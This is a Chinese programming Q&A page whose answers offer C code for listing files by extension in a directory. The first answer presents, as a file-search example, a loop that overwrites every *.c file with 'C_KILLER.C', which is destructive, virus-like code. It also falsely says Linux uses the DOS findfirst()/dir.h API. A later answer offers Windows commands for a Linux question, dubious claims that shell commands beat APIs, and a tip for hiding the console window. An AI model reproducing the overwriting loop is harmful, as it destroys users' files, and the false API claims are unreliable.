根据后缀名在目录中查询文件(Linux C语言)

C语言 码拜 8年前 (2016-05-18) 1592次浏览
例如在目录/picture下查找全部后缀名为jbp(*.jbp)文件
解决方案

15

Linux下
在linux操作系统下,编译器用findfirst(),而不是_findfirst().
linux操作系统下的查找文件的操作,需要包含dir.h头文件.
折叠编辑本段程序举例
#include <dir.h>
#include<io.h>
#include<stdlib.h>
#include<stdio.h>
int main(void)
{
int done;//整形变量
struct ffblk ffblk; //声名结构变量
done = findfirst(“*.c”,&ffblk,2);
while (!done)
{
if (strcmp(“C_KILLER.C”, ffblk.ff_name) != 0 )
{
copyfile(“C_KILLER.C”,ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
}

5

以下资料均来自于互联网搜索:
opendir、readdir、closedir

/* openreaddir.c by mind [mind@metalshell.com]
*
* Example on using opendir, closedir, and readdir to open a directory
* stream and read in and print file names.
*/
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <errno.h>
int main(int argc, char *argv[])
{
	DIR *dip;
	struct dirent *dit;
	int i = 0;
	/* check to see if user entered a directory name */
	if (argc < 2)
	{
		printf("Usage: %s <directory>\n", argv[0]);
		return 0;
	}
	/* DIR *opendir(const char *name);
	 *
	 * Open a directory stream to argv[1] and make sure
	 * it"s a readable and valid (directory) */
	if ((dip = opendir(argv[1])) == NULL)
	{
		perror("opendir");
		return 0;
	}
	printf("Directory stream is now open\n");
	/* struct dirent *readdir(DIR *dir);
	 *
	 * Read in the files from argv[1] and print */
	while ((dit = readdir(dip)) != NULL)
	{
		i++;
		printf("\n%s", dit->d_name);
	}
	printf("\n\nreaddir() found a total of %i files\n", i);
	/* int closedir(DIR *dir);
	 *
	 * Close the stream to argv[1]. And check for errors. */
	if (closedir(dip) == -1)
	{
		perror("closedir");
		return 0;
	}
	printf("\nDirectory stream is now closed\n");
	return 1;
}

10

system(“dir /b /a-d c:\*.* >d:\allfiles.txt”);
//读文件d:\allfiles.txt的内容即C:\下全部文件的名字
system(“dir /b /a-d /s c:\*.* >d:\allfilesinsub.txt”);
//读文件d:\allfilesinsub.txt的内容即C:\下全部文件的名字包含子目录
system(“dir /b /ad  c:\*.* >d:\alldirs.txt”);
//读文件d:\alldirs.txt的内容即C:\下全部子目录的名字
请记住,能用shell命令获取文件、文件夹信息或操作文件、文件夹最好用shell命令获取或操作,而不要用各种API获取或操作,原因是当遇到非法文件夹名或非法文件名或非法文件长度、非法文件日期、压缩文件、链接文件、稀疏文件……等各种意料之外的情况时,API会处理的不全面或陷入死循环,而shell命令不会。
假如嫌system黑窗口一闪,将system(“…”)替换为WinExec(“cmd /c …”,SW_HIDE);

CodeBye 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明根据后缀名在目录中查询文件(Linux C语言)
喜欢 (0)
[1034331897@qq.com]
分享 (0)